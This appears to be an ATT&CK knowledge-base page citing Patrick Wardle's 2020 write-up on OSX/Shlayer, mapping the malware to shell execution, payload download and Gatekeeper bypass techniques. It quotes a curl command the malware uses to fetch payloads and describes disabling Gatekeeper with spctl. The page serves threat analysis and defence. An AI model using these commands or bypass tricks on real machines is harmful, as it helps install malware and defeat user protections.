ATT&CKReferencesobjectivesee osx.shlayer apple approved 2020

objectivesee osx.shlayer apple approved 2020

Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.

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Procedure examples3

TechniqueUsed byProcedure example
T1059.004
Unix Shell
MalwareOSX/Shlayer

OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command sh -c tail -c +1381... to extract bytes at an offset from a specified file. OSX/Shlayer uses the curl -fsL "$url" >$tmp_path command to download malicious payloads into a temporary directory.

T1105
Ingress Tool Transfer
MalwareOSX/Shlayer

OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the curl -fsL "$url" >$tmp_path command to download malicious payloads into a temporary directory.

T1553.001
Gatekeeper Bypass
MalwareOSX/Shlayer

If running with elevated privileges, OSX/Shlayer has used the spctl command to disable Gatekeeper protection for a downloaded file. OSX/Shlayer can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. OSX/Shlayer has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks.

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